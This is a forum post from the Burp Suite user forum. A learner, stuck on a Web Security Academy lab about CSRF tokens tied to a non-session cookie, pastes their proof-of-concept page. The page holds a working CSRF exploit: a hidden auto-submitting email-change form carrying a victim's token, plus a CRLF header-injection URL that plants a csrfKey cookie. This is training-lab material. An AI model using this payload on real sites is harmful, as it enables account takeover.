Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

i have a problem with Lab: CSRF where token is tied to non-session cookie

Eternal | Last updated: Oct 15, 2024 03:15PM UTC

Hi i just login to the second account and i just replace it with the victim csrf token and key as you see in img tag but the thing is when i click on view exploit it say invalid csrf token when i check the burp i saw that csrf key was still for the victim not the attacker <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a2c0090031f536a809beeb9008c00a7.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="crack2&#64;gmail&#46;com" /> <input type="hidden" name="csrf" value="vvUBisPbG6w6DDZ2AMW0gdxAMwzH81yS" /> <input type="submit" value="Submit request" /> </form> <img src="https://0a2c0090031f536a809beeb9008c00a7.web-security-academy.net/?search=hat%0d%0aSet-Cookie:%20csrfKey=Ejzy4yA3vgumrsM2T4K5HymYwl5O3rPQ" onerror="document.forms[0].submit()"> </body> </html>

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.